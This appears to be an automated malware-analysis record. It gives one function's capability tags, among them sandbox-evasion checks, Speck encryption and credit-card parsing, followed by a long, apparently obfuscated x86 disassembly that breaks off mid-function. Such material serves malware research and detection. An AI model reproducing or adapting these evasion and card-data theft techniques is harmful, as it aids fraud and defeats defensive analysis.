Function at 0x10048c90
Capabilities:
Accept command line arguments
Authenticate hmac
Check for time delay via gettickcount
Check for unmoving mouse cursor
Check http status code
Encode data using base64
Encrypt data using speck
Identify system language via api
Parse credit card information
Parse pe header
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2c68
call fcn.10074020
push ebx
push esi
push edi
mov eax, 0x2b0
cdq
xor eax, edx
sub eax, edx
mov dword [0x100a2c3c], eax
xor eax, eax
mov dword [ebp - 0x2a90], 0xfe81
mov dword [ebp - 0x2a8c], eax
mov byte [ebp - 1], 0x80
mov dword [ebp - 0x18], 0xd1b3eeda
mov dword [ebp - 0x2c], 0x5c85bd50
movzx ecx, word [0x100a2118]
mov dword [ebp - 0x38], ecx
mov edx, 0x35e0
mov word [ebp - 8], dx
xor eax, eax
mov dword [ebp - 0x5c], 0xba55
mov dword [ebp - 0x58], eax
mov cx, word [0x100a2118]
mov byte [ebp - 3], cl
movzx edx, byte [str.HeapSize]
mov dword [ebp - 0x1c], edx
xor eax, eax
mov dword [ebp - 0x4c], 0xf06f
mov dword [ebp - 0x48], eax
mov ecx, dword [0x100a20dc]
xor edx, edx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], edx
mov eax, dword [0x100a2108]
mov ecx, dword [0x100a210c]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
movzx edx, word [0x100a20e0]
mov dword [ebp - 0x20], edx
mov eax, 0xfffffccb
mov word [ebp - 0x14], ax
mov cx, word [0x100a2118]
mov word [ebp - 0x10], cx
mov byte [ebp - 2], 0x97
movzx edx, word [0x100a2124]
mov dword [ebp - 0x24], edx
mov ax, word [0x100a2118]
mov word [ebp - 0xc], ax
mov ecx, dword [0x100a20dc]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], 0xa1115ea
mov dword [ebp - 0x28], 0x9db3
mov dword [ebp - 0x3c], 0xd093
xor edx, edx
mov dword [ebp - 0x44], 0x66d99062
mov dword [ebp - 0x40], edx
mov eax, 0x5df01
mov dword [ebp - 0x2a98], 0x50168120
mov dword [ebp - 0x2a94], eax
mov cx, word [0x100a20d0]
mov word [ebp - 0x151c], cx
mov dx, word [0x100a20e4]
mov word [ebp - 0x1520], dx
mov dword [ebp - 0x2980], 0xd237e8a5
mov eax, 0xb871
mov word [ebp - 0x1524], ax
mov ecx, 0xdcbb5
mov dword [ebp - 0x2aa0], 0x97693df7
mov dword [ebp - 0x2a9c], ecx
mov byte [ebp - 0x2e1], 0x96
mov edx, dword [0x100a20dc]
mov dword [ebp - 0x2984], edx
mov eax, dword [0x100a20dc]
mov dword [ebp - 0x2988], eax
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0x298c], edx
mov dword [ebp - 0x2990], ecx
mov byte [ebp - 0x2e2], 0x15
mov eax, 0x789af
mov dword [ebp - 0x2aa8], 0x1d067db0
mov dword [ebp - 0x2aa4], eax
mov ecx, dword [0x100a20d0]
mov edx, dword [0x100a20d4]
mov dword [ebp - 0x2ab0], ecx
mov dword [ebp - 0x2aac], edx
mov eax, dword [0x100a20dc]
xor ecx, ecx
mov dword [ebp - 0x2ab8], eax
mov dword [ebp - 0x2ab4], ecx
mov dword [ebp - 0x2994], 0x511bed51
mov edx, dword [0x100a20f8]
mov eax, dword [0x100a20fc]
mov dword [ebp - 0x2ac0], edx
mov dword [ebp - 0x2abc], eax
mov ecx, dword [0x100a20e4]
mov dword [ebp - 0x2998], ecx
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0x299c], eax
mov word [ebp - 0x1528], dx
mov ecx, 0x90
mov word [ebp - 0x152c], cx
mov eax, dword [0x100a2104]
cdq
mov dword [ebp - 0x2ac8], eax
mov dword [ebp - 0x2ac4], edx
movzx eax, byte [str.HeapSize]
cdq
mov dword [ebp - 0x2ad0], eax
mov dword [ebp - 0x2acc], edx
mov edx, 0xe825
mov word [ebp - 0x1530], dx
mov dword [ebp - 0x29a0], 0xe6
mov dword [ebp - 0x29a4], 0x7f
mov eax, dword [0x100a2c3c]
mov dword [ebp - 0x15c], eax
mov ecx, dword [0x100a20dc]
sub ecx, 0xdb34a354
mov word [0x100a20f0], cx
movzx eax, word [0x100a2118]
cdq
sub eax, dword [0x100a20d0]
mov word [0x100a2118], ax
movzx edx, byte [ebp - 3]
add edx, dword [ebp - 0x28]
movzx eax, byte [ebp - 3]
imul eax, edx
mov byte [ebp - 3], al
mov ecx, dword [ebp - 0x15c]
add ecx, 0x41d
mov dword [ebp - 0x1544], ecx
mov dword [ebp - 0x158], 0x991
movzx edx, word [ebp - 0x10]
add edx, dword [0x100a2104]
movzx eax, word [ebp - 0x10]
imul eax, edx
mov word [ebp - 0x10], ax
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0x29a8], edx
add ecx, 0xa9
mov word [0x100a2138], cx
mov eax, dword [0x100a2100]
shr eax, 4
xor ecx, ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], ecx
mov edx, 8
imul ecx, edx, 0x8b
movzx eax, word [ebp - 0x10]
cdq
add eax, dword [ecx + 0x102df518]
mov word [ebp - 0x10], ax
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
mov dword [ebp - 0x29ac], eax
mov dword [0x100a2120], edx
movzx ecx, word [0x100a20e0]
test ecx, ecx
jne 0x10048fec
mov dword [ebp - 0xee0], 1
jmp 0x10048ff6
mov dword [ebp - 0xee0], 0
movzx edx, byte [0x100a207a]
imul edx, dword [0x100a2128]
mov eax, dword [0x100a20f4]
xor eax, dword [ebp - 0xee0]
not eax
or edx, eax
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x158], 0x7de
jle 0x1004913c
movzx ecx, byte [ebp - 3]
push ecx
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
xor edx, edx
mov dword [0x100a2140], eax
mov dword [0x100a2144], edx
movzx eax, byte [0x100a207b]
cmp eax, 0x7e35
jge 0x1004905c
call dword [sym.imp.KERNEL32.dll_GetACP]
mov dword [0x100a2128], eax
jmp 0x10049128
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
mov eax, dword [0x100a2108]
mov esi, dword [0x100a210c]
mov dword [ebp - 0x15f4], ecx
mov dword [ebp - 0x15f0], edx
mov dword [ebp - 0x15fc], eax
mov dword [ebp - 0x15f8], esi
mov ecx, dword [ebp - 0x15f0]
cmp ecx, dword [ebp - 0x15f8]
jb 0x10049128
ja 0x100490ad
mov edx, dword [ebp - 0x15f4]
cmp edx, dword [ebp - 0x15fc]
jbe 0x10049128
mov eax, dword [ebp - 0x34]
cdq
push 0x7e0d8
push 0x19ef2b34
push edx
push eax
call fcn.10073ef0
mov dword [0x100a2120], eax
movzx eax, byte [ebp - 1]
cdq
sub eax, 0x13e6fb2e
sbb edx, 0xcfd7e
mov dword [0x100a2130], eax
mov dword [0x100a2134], edx
mov eax, dword [0x100a2108]
mov ecx, dword [0x100a210c]
mov edx, dword [0x100a20d4]
push edx
mov edx, dword [0x100a20d0]
push edx
push ecx
push eax
call fcn.10073ef0
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
add ecx, eax
adc esi, edx
mov dword [0x100a2108], ecx
mov dword [0x100a210c], esi
mov dword [0x100a2128], 0x60c8f51
mov edx, dword [ebp - 0x158]
sub edx, 1
mov dword [ebp - 0x158], edx
jmp 0x10049016
mov eax, dword [ebp - 0x15c]
add eax, 0x576
mov dword [ebp - 0x558], eax
mov ecx, dword [ebp - 0x24]
shl ecx, 5
mov byte [ebp - 2], cl
movzx edx, byte [ebp - 1]
mov eax, 4
imul ecx, eax, 0x3f
mov dword [ecx + 0x101e2100], edx
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
push 0
push 0x57
push eax
push edx
call fcn.10073ef0
mov dword [0x100a2108], eax
mov dword [0x100a210c], edx
mov ecx, dword [ebp - 0x15c]
add ecx, 0x420
mov dword [ebp - 0x19c], ecx
movzx edx, word [0x100a211c]
test edx, edx
je 0x10049283
movsx eax, word [0x100a20c8]
cmp dword [0x100a2114], eax
je 0x10049281
movzx ecx, word [ebp - 8]
test ecx, ecx
je 0x100491de
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0xf74], edx
mov dword [ebp - 0xf70], eax
jmp 0x100491f2
mov ecx, dword [0x100a20dc]
xor edx, edx
mov dword [ebp - 0xf74], ecx
mov dword [ebp - 0xf70], edx
mov ax, word [ebp - 0xf74]
mov word [ebp - 8], ax
movzx ecx, byte [ebp - 3]
imul edx, ecx, 0xa430c176
xor eax, eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], eax
push 0
push 0xb2
mov ecx, dword [0x100a20fc]
push ecx
mov edx, dword [0x100a20f8]
push edx
call fcn.10073ef0
mov ecx, eax
movzx eax, word [ebp - 0x10]
cdq
add eax, ecx
mov word [ebp - 0x10], ax
push 0
push 0xd8
mov edx, dword [ebp - 0x50]
push edx
mov eax, dword [ebp - 0x54]
push eax
call fcn.10073ef0
mov dword [ebp - 0x2c], eax
movzx ecx, word [0x100a2118]
test ecx, ecx
je 0x10049266
mov edx, dword [0x100a20e4]
mov dword [ebp - 0xee4], edx
jmp 0x10049273
movsx eax, word [0x100a20f0]
mov dword [ebp - 0xee4], eax
mov ecx, dword [ebp - 0xee4]
xor edx, edx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], edx
jmp 0x100492f2
movzx eax, byte [str.HeapSize]
cdq
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x1604], ecx
mov dword [ebp - 0x1600], esi
mov edx, dword [ebp - 0x1604]
or edx, dword [ebp - 0x1600]
je 0x100492f2
movzx eax, word [ebp - 0xc]
cdq
push 0xfc8fe
push 0xad2d9d98
push edx
push eax
call fcn.10073ef0
mov byte [0x100a203b], al
movsx eax, byte [str.y4The_server_is_requ]
imul eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
sub ecx, eax
mov dword [ebp - 0x30], ecx
mov edx, dword [0x100a2120]
sar edx, 6
mov dword [0x100a2114], edx
mov eax, dword [0x100a2c3c]
mov dword [ebp - 0x160], eax
mov eax, dword [0x100a2120]
cdq
push 0xe74d2
push 0x3ca108fb
push edx
push eax
call fcn.10073ef0
mov dword [ebp - 0x1c], eax
movzx ecx, byte [ebp - 3]
imul ecx, dword [ebp - 0x28]
mov dword [ebp - 0x28], ecx
movsx edx, byte [0x100a2027]
and edx, 0x18db9339
mov byte [ebp - 2], dl
mov eax, dword [0x100a2104]
shl eax, 2
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
imul eax, dword [ebp - 0x38], 0xd919e59f
movzx ecx, byte [ebp - 3]
xor ecx, eax
mov byte [ebp - 3], cl
mov edx, dword [ebp - 0x160]
add edx, 0x559
mov dword [ebp - 0x29b0], edx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
add eax, 0x1f8fb471
adc ecx, 0x56ead
mov dword [0x100a2150], eax
mov dword [0x100a2154], ecx
mov edx, dword [0x100a2140]
mov dword [0x100a20dc], edx
movzx eax, byte [ebp - 3]
cdq
mov esi, eax
mov edi, edx
mov eax, dword [0x100a2114]
cdq
mov ecx, dword [0x100a2148]
mov ebx, dword [0x100a214c]
not ecx
not ebx
sub eax, ecx
sbb edx, ebx
add esi, eax
adc edi, edx
movzx eax, word [0x100a2124]
cdq
mov ecx, dword [0x100a20d0]
sub ecx, eax
mov eax, dword [0x100a20d4]
sbb eax, edx
push 0
push 0xdc131309
push eax
push ecx
call fcn.10073ef0
push edx
push eax
push edi
push esi
call fcn.10073ef0
mov byte [ebp - 3], al
movsx ecx, word [0x100a2110]
sub ecx, 0x7ea5833f
mov dword [ebp - 0x34], ecx
movzx eax, byte [ebp - 1]
cdq
mov ecx, dword [0x100a2150]
mov esi, dword [0x100a2154]
xor ecx, eax
xor esi, edx
mov edx, dword [ebp - 0x50]
push edx
mov eax, dword [ebp - 0x54]
push eax
push esi
push ecx
call fcn.10073ef0
mov esi, eax
mov edi, edx
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [0x100a2150]
mov ebx, dword [0x100a2154]
push ebx
push eax
push edx
push ecx
call fcn.10073ef0
mov ecx, eax
mov ebx, edx
movzx eax, word [0x100a20e0]
movzx edx, byte [0x100a207a]
imul eax, edx
cdq
xor ecx, eax
xor ebx, edx
push ebx
push ecx
push edi
push esi
call fcn.10073ef0
mov dword [0x100a2108], eax
mov dword [0x100a210c], edx
mov eax, dword [ebp - 0x160]
add eax, 0x2c6
mov dword [ebp - 0x318], eax
mov ecx, 7
mov esi, str.refresh_token
lea edi, [ebp - 0x2b50]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x2b50]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [0x100a2120], eax
mov edx, dword [ebp - 0x160]
add edx, 0x577
mov dword [ebp - 0x1534], edx
movzx eax, word [ebp - 0x10]
test eax, eax
je 0x100496be
mov dword [ebp - 0x164], 0x319
jmp 0x100494cf
mov ecx, dword [ebp - 0x164]
sub ecx, 1
mov dword [ebp - 0x164], ecx
cmp dword [ebp - 0x164], 0
jle 0x100496bc
movzx edx, byte [ebp - 1]
cmp edx, dword [ebp - 0x2c]
jbe 0x10049505
mov eax, dword [0x100a2148]
mov ecx, dword [0x100a214c]
mov dword [ebp - 0x29b4], ecx
push eax
call dword [sym.imp.USER32.dll_GetTopWindow]
mov byte [ebp - 2], al
jmp 0x100496af
cmp dword [0x100a20dc], 0
jne 0x1004951a
mov dword [ebp - 0x30c], 1
jmp 0x10049524
mov dword [ebp - 0x30c], 0
mov edx, dword [ebp - 0x3c]
cmp dword [ebp - 0x30c], edx
jl 0x100495a4
mov eax, dword [0x100a2c3c]
xor ecx, ecx
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], ecx
movzx edx, word [0x100a2138]
mov eax, dword [ebp - 0x30]
lea ecx, [eax + edx + 0x6499782f]
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x34]
cdq
mov ecx, eax
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x29b8], eax
sub ecx, edx
mov eax, dword [ebp - 0x34]
cdq
add eax, ecx
mov dword [ebp - 0x34], eax
imul ecx, dword [ebp - 0x24], 0x76d4
xor edx, edx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], edx
mov eax, dword [0x100a2c3c]
mov dword [ebp - 0x1c], eax
movsx eax, byte [0x100a2027]
and eax, dword [ebp - 0x18]
cdq
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
jmp 0x100496af
movzx ecx, word [0x100a2138]
test ecx, ecx
je 0x100495f8
mov dl, byte [ebp - 1]
mov byte [ebp - 1], dl
movsx eax, word [0x100a20c8]
movzx ecx, word [ebp - 0xc]
add eax, ecx
movsx edx, word [0x100a20c8]
sub edx, eax
mov word [0x100a20c8], dx
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0x29bc], edx
add ecx, 0x1117
mov eax, dword [ebp - 0x38]
cdq
add eax, ecx
mov dword [ebp - 0x38], eax
jmp 0x100496af
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
movzx eax, byte [0x100a207a]
cdq
mov dword [ebp - 0x160c], ecx
mov dword [ebp - 0x1608], esi
mov dword [ebp - 0x1614], eax
mov dword [ebp - 0x1610], edx
mov edx, dword [ebp - 0x1608]
cmp edx, dword [ebp - 0x1610]
jl 0x10049648
jg 0x1004963c
mov eax, dword [ebp - 0x160c]
cmp eax, dword [ebp - 0x1614]
jbe 0x10049648
mov dword [ebp - 0x310], 1
jmp 0x10049652
mov dword [ebp - 0x310], 0
cmp dword [0x100a2114], 0
jne 0x10049670
cmp dword [0x100a2128], 0
je 0x10049670
mov dword [ebp - 0x314], 1
jmp 0x1004967a
mov dword [ebp - 0x314], 0
mov ecx, dword [ebp - 0x310]
cmp ecx, dword [ebp - 0x314]
jge 0x100496af
mov dword [0x100a2128], 2
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
mov cl, 2
call fcn.10073f50
mov dword [ebp - 0x38], eax
mov edx, dword [0x100a2120]
imul edx, dword [ebp - 0x28]
mov dword [ebp - 0x28], edx
mov al, byte [ebp - 3]
add al, 1
mov byte [ebp - 3], al
jmp 0x100494c0
jmp 0x100496f7
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x29c0], eax
sub ecx, edx
mov dword [ebp - 0x30], ecx
movzx ecx, word [ebp - 8]
imul edx, ecx, 0x9c6
mov word [ebp - 8], dx
mov eax, dword [ebp - 0x20]
sub eax, 0x633e9e46
movsx ecx, byte [str.y4The_server_is_requ]
sub ecx, eax
mov byte [str.y4The_server_is_requ], cl
imul edx, dword [ebp - 0x1534], 0x1cb
mov eax, dword [ebp - 0x318]
add eax, dword [ebp - 0x318]
cmp edx, eax
je 0x10071f99
movzx ecx, word [0x100a2118]
test ecx, ecx
je 0x10049822
movzx edx, byte [ebp - 3]
cmp dword [0x100a2128], edx
jle 0x1004973c
mov dword [ebp - 0x31c], 1
jmp 0x10049746
mov dword [ebp - 0x31c], 0
cmp dword [0x100a2128], 0x50
jle 0x1004975b
mov dword [ebp - 0x320], 1
jmp 0x10049765
mov dword [ebp - 0x320], 0
mov eax, dword [ebp - 0x31c]
cmp eax, dword [ebp - 0x320]
jge 0x1004981d
mov dword [ebp - 0x168], 0
jmp 0x10049792
mov ecx, dword [ebp - 0x168]
add ecx, 1
mov dword [ebp - 0x168], ecx
cmp dword [ebp - 0x168], 0x241
jge 0x1004981d
mov edx, dword [ebp - 0x38]
and edx, 0xd8
movzx eax, byte [str.HeapSize]
sub eax, edx
mov byte [str.HeapSize], al
mov ecx, dword [0x100a2104]
add ecx, dword [0x100a2114]
mov dword [0x100a2104], ecx
movzx eax, word [0x100a2118]
cdq
push 0xe09e2
push 0x490d4dae
push edx
push eax
call fcn.10073ef0
mov word [ebp - 0x10], ax
mov edx, dword [0x100a20f4]
add edx, 0x28
mov dword [0x100a20d8], edx
movzx eax, byte [ebp - 3]
movzx ecx, byte [ebp - 1]
add eax, ecx
movzx edx, byte [ebp - 3]
add edx, eax
mov byte [ebp - 3], dl
mov eax, dword [ebp - 0x64]
add eax, 1
mov ecx, dword [ebp - 0x60]
adc ecx, 0
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], ecx
jmp 0x10049783
jmp 0x1004998e
movsx edx, byte [0x100a2027]
cmp edx, dword [ebp - 0x28]
jae 0x10049925
movzx eax, byte [ebp - 3]
not eax
test eax, eax
je 0x1004984e
cmp dword [ebp - 0x24], 0
je 0x1004984e
mov dword [ebp - 0x324], 1
jmp 0x10049858
mov dword [ebp - 0x324], 0
mov ecx, dword [ebp - 0x324]
not ecx
test ecx, ecx
je 0x10049925
movzx edx, word [0x100a2124]
mov dword [0x100a2100], edx
movzx eax, word [ebp - 0xc]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0x3c], ecx
mov edx, dword [0x100a2150]
mov eax, dword [0x100a2154]
mov dword [ebp - 0x29c4], eax
sub edx, 0x2de485ce
mov dword [0x100a20f4], edx
movzx eax, word [0x100a211c]
shl eax, 8
cdq
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
xor ecx, ecx
mov dword [ebp - 0x4c], 0x70
mov dword [ebp - 0x48], ecx
mov edx, dword [0x100a2140]
or edx, dword [0x100a2144]
jne 0x100498d5
mov dword [ebp - 0x328], 1
jmp 0x100498df
mov dword [ebp - 0x328], 0
movsx eax, word [ebp - 0x14]
movzx ecx, word [ebp - 8]
sub eax, ecx
sub eax, dword [ebp - 0x328]
cdq
mov ecx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
not ecx
not esi
xor ecx, dword [ebp - 0x5c]
xor esi, dword [ebp - 0x58]
not ecx
not esi
sub ecx, 0xe914a3f9
sbb esi, 0x1de86
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov word [ebp - 0x14], ax
jmp 0x1004998e
movzx edx, byte [ebp - 1]
test edx, edx
je 0x1004998e
movzx eax, byte [ebp - 1]
not eax
movzx ecx, byte [ebp - 2]
and ecx, dword [0x100a20d8]
sub eax, ecx
movsx edx, word [0x100a20f0]
add edx, dword [ebp - 0x20]
mov ecx, dword [0x100a2104]
sub ecx, edx
not ecx
add eax, ecx
not eax
mov dword [0x100a2114], eax
movzx edx, byte [0x100a207b]
mov eax, dword [ebp - 0x18]
imul eax, edx
mov dword [ebp - 0x18], eax
mov ecx, dword [0x100a2104]
imul ecx, dword [ebp - 0x18]
mov edx, dword [0x100a2104]
add edx, ecx
mov dword [0x100a2104], edx
mov dword [0x100a2100], 0xb6
movzx eax, byte [ebp - 2]
mov ecx, dword [0x100a20f4]
sub ecx, eax
mov dword [0x100a20f4], ecx
mov edx, dword [ebp - 0x24]
sub edx, 0xb7ad
mov dword [0x100a20dc], edx
mov eax, dword [0x100a2148]
mov ecx, dword [0x100a214c]
mov dword [ebp - 0x161c], eax
mov dword [ebp - 0x1618], ecx
mov edx, dword [ebp - 0x161c]
or edx, dword [ebp - 0x1618]
je 0x100499ea
movzx eax, word [0x100a2118]
cdq
mov dword [ebp - 0xf7c], eax
mov dword [ebp - 0xf78], edx
jmp 0x10049a01
mov eax, dword [0x100a20d0]
mov ecx, dword [0x100a20d4]
mov dword [ebp - 0xf7c], eax
mov dword [ebp - 0xf78], ecx
mov edx, dword [ebp - 0xf7c]
mov dword [0x100a2114], edx
mov eax, dword [0x100a2c3c]
mov dword [ebp - 0x16c], eax
mov ecx, dword [0x100a20d8]
sub ecx, 0xfc15
xor edx, edx
mov dword [0x100a2148], ecx
mov dword [0x100a214c], edx
movsx eax, byte [0x100a203b]
imul eax, dword [ebp - 0x28]
mov byte [0x100a203b], al
mov ecx, dword [ebp - 0x16c]
add ecx, 0x627
mov dword [ebp - 0x29c8], ecx
mov edx, dword [ebp - 0x54]
mov eax, 4
imul ecx, eax, 0x61
mov dword [ecx + 0x101e2100], edx
movzx edx, byte [ebp - 3]
shl edx, 7
mov dword [0x100a20dc], edx
mov al, byte [0x100a2c3c]
mov byte [0x100a207b], al
mov ecx, dword [ebp - 0x16c]
add ecx, 0x640
mov dword [ebp - 0x1538], ecx
mov edx, 2
mov word [ebp - 0xc], dx
movzx eax, byte [0x100a207a]
test eax, eax
jne 0x10049aae
mov dword [ebp - 0x32c], 1
jmp 0x10049ab8
mov dword [ebp - 0x32c], 0
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x32c]
mov edx, 0xf1101ae6
sub edx, ecx
mov byte [0x100a207b], dl
movzx eax, word [0x100a2124]
add eax, dword [0x100a2128]
cdq
mov ecx, dword [ebp - 0x2c]
xor esi, esi
sub ecx, dword [ebp - 0x5c]
sbb esi, dword [ebp - 0x58]
sub eax, ecx
sbb edx, esi
mov dword [ebp - 0x1624], eax
mov dword [ebp - 0x1620], edx
mov edx, dword [ebp - 0x1624]
or edx, dword [ebp - 0x1620]
jne 0x10049b19
xor eax, eax
mov dword [ebp - 0xf84], 1
mov dword [ebp - 0xf80], eax
jmp 0x10049b24
xorps xmm0, xmm0
movlpd qword [ebp - 0xf84], xmm0
mov ecx, dword [ebp - 0x54]
add ecx, 0x6803330c
mov esi, dword [ebp - 0x50]
adc esi, 0x2a19e
not ecx
not esi
movzx eax, byte [str.HeapSize]
cdq
add ecx, eax
adc esi, edx
sub ecx, dword [ebp - 0xf84]
sbb esi, dword [ebp - 0xf80]
mov dword [ebp - 0x162c], ecx
mov dword [ebp - 0x1628], esi
mov edx, dword [ebp - 0x162c]
or edx, dword [ebp - 0x1628]
jne 0x10049b72
mov byte [ebp - 0x69], 1
jmp 0x10049b76
mov byte [ebp - 0x69], 0
mov al, byte [ebp - 0x69]
mov byte [str.y4The_server_is_requ], al
mov cx, word [0x100a2c3c]
mov word [0x100a211c], cx
imul edx, dword [ebp - 0x2c], 0x1fbc3777
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x16c]
add eax, 0x3fd
mov dword [ebp - 0x184], eax
movsx ecx, word [0x100a20c8]
test ecx, ecx
jne 0x10049bbe
mov dword [ebp - 0x330], 1
jmp 0x10049bc8
mov dword [ebp - 0x330], 0
movzx edx, byte [ebp - 1]
add edx, dword [ebp - 0x18]
jne 0x10049bdd
mov dword [ebp - 0x334], 1
jmp 0x10049be7
mov dword [ebp - 0x334], 0
movzx eax, word [0x100a20e0]
not eax
sub eax, dword [ebp - 0x330]
imul eax, dword [ebp - 0x334]
cdq
mov ecx, eax
movsx eax, word [0x100a2110]
cdq
mov esi, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0x29cc], edx
xor esi, eax
movzx eax, byte [ebp - 3]
movsx edx, byte [0x100a203b]
and eax, edx
cdq
sub esi, eax
add ecx, esi
mov dword [ebp - 0x18], ecx
mov eax, dword [0x100a2c3c]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x34], 0
jne 0x10049c4b
mov dword [ebp - 0x338], 1
jmp 0x10049c55
mov dword [ebp - 0x338], 0
mov ecx, dword [0x100a2100]
not ecx
movsx edx, word [0x100a20f0]
add ecx, edx
movzx eax, word [0x100a2138]
sub eax, dword [ebp - 0x18]
sub ecx, eax
mov esi, ecx
imul eax, dword [ebp - 0x338], 0x1f
cdq
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, dword [ebp - 0x54]
push ecx
push edx
push eax
call fcn.10073ef0
sub esi, eax
mov dword [ebp - 0x18], esi
mov edx, dword [0x100a20d8]
sub edx, 0xd53d
mov byte [0x100a207a], dl
movzx eax, byte [0x100a207a]
add eax, 0x5b26
mov byte [str.HeapSize], al
mov ecx, dword [0x100a2c3c]
mov dword [ebp - 0x170], ecx
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ebp - 0x1634], edx
mov dword [ebp - 0x1630], eax
mov ecx, dword [ebp - 0x1630]
cmp ecx, dword [0x100a2144]
jl 0x10049d32
jg 0x10049cee
mov edx, dword [ebp - 0x1634]
cmp edx, dword [0x100a2140]
jb 0x10049d32
mov eax, dword [ebp - 0x34]
xor eax, 0xc891
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x18], ecx
xor edx, edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
sub eax, dword [0x100a20d8]
sbb ecx, edx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], ecx
xor edx, edx
mov dword [0x100a2108], 0xbc
mov dword [0x100a210c], edx
movzx eax, word [ebp - 0x10]
sar eax, 8
mov dword [ebp - 0x24], eax
jmp 0x10049d7a
movsx ecx, byte [0x100a203b]
test ecx, ecx
je 0x10049d7a
mov eax, dword [0x100a2114]
cdq
mov ecx, 8
imul ecx, ecx, 0x9a
mov dword [ecx + 0x102df518], eax
mov dword [ecx + 0x102df51c], edx
mov dword [ebp - 0x38], 0xb42db6c2
mov eax, dword [0x100a2128]
cdq
mov edx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x29d0], ecx
sub eax, edx
mov dword [0x100a2128], eax
mov edx, dword [ebp - 0x170]
add edx, 0x396
mov dword [ebp - 0x29d4], edx
mov eax, dword [0x100a20e8]
mov ecx, dword [0x100a20ec]
mov dword [ebp - 0x29d8], ecx
mov word [0x100a2138], ax
movzx edx, word [0x100a2124]
shl edx, 7
mov dword [ebp - 0x1c], edx
mov eax, dword [0x100a20d0]
add eax, 0xc5
mov ecx, dword [0x100a20d4]
adc ecx, 0
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], ecx
mov edx, dword [0x100a2100]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
cdq
push edx
push eax
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.10073ef0
add eax, 0x2e
mov dword [0x100a2114], eax
mov edx, dword [ebp - 0x170]
add edx, 0x64f
mov dword [ebp - 0x514], edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x30]
xor esi, esi
mov dword [ebp - 0x163c], eax
mov dword [ebp - 0x1638], ecx
mov dword [ebp - 0x1644], edx
mov dword [ebp - 0x1640], esi
mov eax, dword [ebp - 0x1638]
cmp eax, dword [ebp - 0x1640]
jb 0x10049f96
ja 0x10049e48
mov ecx, dword [ebp - 0x163c]
cmp ecx, dword [ebp - 0x1644]
jbe 0x10049f96
movzx edx, word [0x100a2138]
cmp edx, dword [0x100a2120]
jg 0x10049e63
mov dword [ebp - 0x33c], 1
jmp 0x10049e6d
mov dword [ebp - 0x33c], 0
movzx eax, word [0x100a2138]
cmp eax, 0x49
jg 0x10049e85
mov dword [ebp - 0x340], 1
jmp 0x10049e8f
mov dword [ebp - 0x340], 0
mov ecx, dword [ebp - 0x33c]
cmp ecx, dword [ebp - 0x340]
jle 0x10049f1b
movsx eax, word [0x100a2110]
cdq
push edx
push eax
mov edx, dword [ebp - 0x50]
push edx
mov eax, dword [ebp - 0x54]
push eax
call fcn.10073ef0
mov word [0x100a2118], ax
mov ecx, 1
imul edx, ecx, 0x1d
movsx eax, byte [edx + 0x100b3340]
movsx ecx, word [0x100a20f0]
add ecx, eax
mov word [0x100a20f0], cx
mov edx, dword [0x100a2c3c]
mov dword [ebp - 0x2c], edx
mov eax, dword [0x100a2104]
cdq
mov ecx, eax
